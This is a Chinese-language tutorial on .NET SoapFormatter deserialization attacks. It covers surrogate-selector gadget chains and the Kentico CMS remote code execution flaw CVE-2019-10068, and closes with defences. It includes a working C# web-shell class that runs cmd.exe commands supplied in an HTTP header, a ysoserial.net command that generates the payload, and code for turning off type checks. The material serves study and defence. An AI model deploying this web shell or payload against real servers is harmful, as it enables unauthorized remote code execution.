.net反序列化之SoapFormatter
字数 1488 2025-08-05 08:17:36
.NET反序列化漏洞之SoapFormatter深入解析与利用
1. SoapFormatter基础
SoapFormatter是.NET框架中用于生成基于XML的SOAP数据流的序列化器,位于System.Runtime.Serialization.Formatters.Soap命名空间。
基本使用示例
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Soap;
using System.Text;
namespace SoapDeserialization
{
[Serializable]
class Person
{
private int age;
private string name;
public int Age { get => age; set => age = value; }
public string Name { get => name; set => name = value; }
public void SayHello()
{
Console.WriteLine("hello from SayHello");
}
}
class Program
{
static void Main(string[] args)
{
SoapFormatter soapFormatter = new SoapFormatter();
Person person = new Person();
person.Age = 10;
person.Name = "jack";
using (MemoryStream stream = new MemoryStream())
{
soapFormatter.Serialize(stream, person);
string soap = Encoding.UTF8.GetString(stream.ToArray());
Console.WriteLine(soap);
stream.Position = 0;
Person p = (Person)soapFormatter.Deserialize(stream);
Console.WriteLine(p.Name);
p.SayHello();
}
Console.ReadKey();
}
}
}
输出结果:
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0"
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<a1:Person id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/SoapDeserialization/SoapDeserialization%2C%20Version%3D1.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Dnull">
<age>10</age>
<name id="ref-3">jack</name>
</a1:Person>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
2. SoapFormatter攻击链分析
2.1 ActivitySurrogateSelector攻击链
ActivitySurrogateSelector攻击链利用了.NET中的代理选择器机制,使得原本不能被序列化的类可以被序列化和反序列化。
基本代理选择器示例
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Soap;
namespace SoapDeserialization
{
class Person
{
public string Name { get; set; }
public Person(string name) { Name = name; }
public override string ToString() { return Name; }
}
sealed class PersonSerializeSurrogate : ISerializationSurrogate
{
public void GetObjectData(Object obj, SerializationInfo info, StreamingContext context)
{
var p = (Person)obj;
info.AddValue("Name", p.Name);
}
public Object SetObjectData(Object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
{
var p = (Person)obj;
p.Name = info.GetString("Name");
return p;
}
}
class Program
{
public static void Main(string[] args)
{
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
SoapFormatter fmt = new SoapFormatter();
MemoryStream stm = new MemoryStream();
var ss = new SurrogateSelector();
ss.AddSurrogate(typeof(Person), new StreamingContext(StreamingContextStates.All), new PersonSerializeSurrogate());
fmt.SurrogateSelector = ss;
fmt.Serialize(stm, new Person("jack"));
stm.Position = 0;
Console.WriteLine(fmt.Deserialize(stm));
stm.Position = 0;
var fmt2 = new SoapFormatter();
Console.WriteLine(fmt2.Deserialize(stm));
Console.ReadKey();
}
}
}
高级利用:ActivitySurrogateSelector+ObjectSurrogate
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Soap;
namespace SoapDeserialization
{
class NonSerializable
{
private string _text;
public NonSerializable(string text) { _text = text; }
public override string ToString() { return _text; }
}
class MySurrogateSelector : SurrogateSelector
{
public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector)
{
selector = this;
if (!type.IsSerializable)
{
Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
return (ISerializationSurrogate)Activator.CreateInstance(t);
}
return base.GetSurrogate(type, context, out selector);
}
}
class Program
{
public static void Main(string[] args)
{
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
SoapFormatter fmt = new SoapFormatter();
MemoryStream stm = new MemoryStream();
fmt.SurrogateSelector = new MySurrogateSelector();
fmt.Serialize(stm, new NonSerializable("Hello World!"));
stm.Position = 0;
var fmt2 = new SoapFormatter();
Console.WriteLine(fmt2.Deserialize(stm));
Console.ReadKey();
}
}
}
2.2 LINQ与委托替换攻击
攻击者通过替换LINQ中的委托来加载恶意程序集并创建实例,触发LINQ执行恶意代码。
攻击链构造步骤:
- 通过
Assembly.Load加载恶意DLL - 使用
Select()方法将IEnumerable<byte[]>转换为IEnumerable<Assembly> - 使用
Delegate.CreateDelegate创建Func<Assembly, IEnumerable<Type>>委托 - 使用
SelectMany()获取Assembly.GetTypes() - 使用
Select(Activator.CreateInstance)创建实例
触发ToString()的调用链:
IEnumerable -> PagedDataSource -> ICollection -> AggregateDictionary -> IDictionary -> DesignerVerb -> ToString
利用Hashtable触发异常:
ht = new Hashtable();
ht.Add(verb, "");
ht.Add("", "");
FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
Array keys = (Array)fi_keys.GetValue(ht);
FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
for (int i = 0; i < keys.Length; ++i)
{
object bucket = keys.GetValue(i);
object key = fi_key.GetValue(bucket);
if (key is string)
{
fi_key.SetValue(bucket, verb);
keys.SetValue(bucket, i);
break;
}
}
fi_keys.SetValue(ht, keys);
ls.Add(ht);
2.3 ActivitySurrogateSelectorFromFile攻击链
此攻击链允许执行自定义编写的程序集,通过接收参数并动态编译读取字节码存入自身assemblyBytes字段。
2.4 ActivitySurrogateDisableTypeCheck攻击链
在.NET 4.8中,微软修复了对ActivitySurrogateSelector类的滥用,但可以通过TextFormattingRunProperties关闭类型检查:
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
3. Kentico CMS SOAP反序列化RCE分析(CVE-2019-10068)
漏洞描述
Kentico在12.0.15之前的版本中,由于未能验证安全头,攻击者可以构造特制的请求绕过初始身份验证,进而反序列化用户控制的.NET对象输入,导致在服务器上执行未授权的远程代码。
漏洞利用
- 使用
ActivitySurrogateSelectorFromFile链生成SOAP格式的payload - 自定义加载的程序集,例如执行命令的代码:
class E
{
public E()
{
System.Web.HttpContext context = System.Web.HttpContext.Current;
context.Server.ClearError();
context.Response.Clear();
try
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
string cmd = context.Request.Headers["cmd"];
process.StartInfo.Arguments = "/c " + cmd;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.Start();
string output = process.StandardOutput.ReadToEnd();
context.Response.Write(output);
}
catch (System.Exception) {}
context.Response.Flush();
context.Response.End();
}
}
- 使用ysoserial.net生成payload:
ysoserial.exe -g ActivitySurrogateSelectorFromFile -f SoapFormatter -c "dlls\E.cs;System.Web.dll;System.dll"
- 将生成的SOAP payload进行HTML编码后发送
4. 防御措施
- 及时更新Kentico CMS到最新版本
- 禁用不必要的SOAP端点
- 实施严格的输入验证
- 使用安全的序列化替代方案,如JSON序列化
- 配置应用程序以使用更严格的序列化绑定器
- 实施网络层面的防护,如WAF规则检测异常的SOAP请求
5. 总结
SoapFormatter反序列化漏洞利用.NET框架中的多个机制:
- 代理选择器(ISerializationSurrogate)
- LINQ延迟执行特性
- 类型系统绕过
- 异常处理流程
通过精心构造的SOAP payload,攻击者可以在目标系统上实现远程代码执行。理解这些攻击链的工作原理对于开发安全的.NET应用程序和有效防御此类攻击至关重要。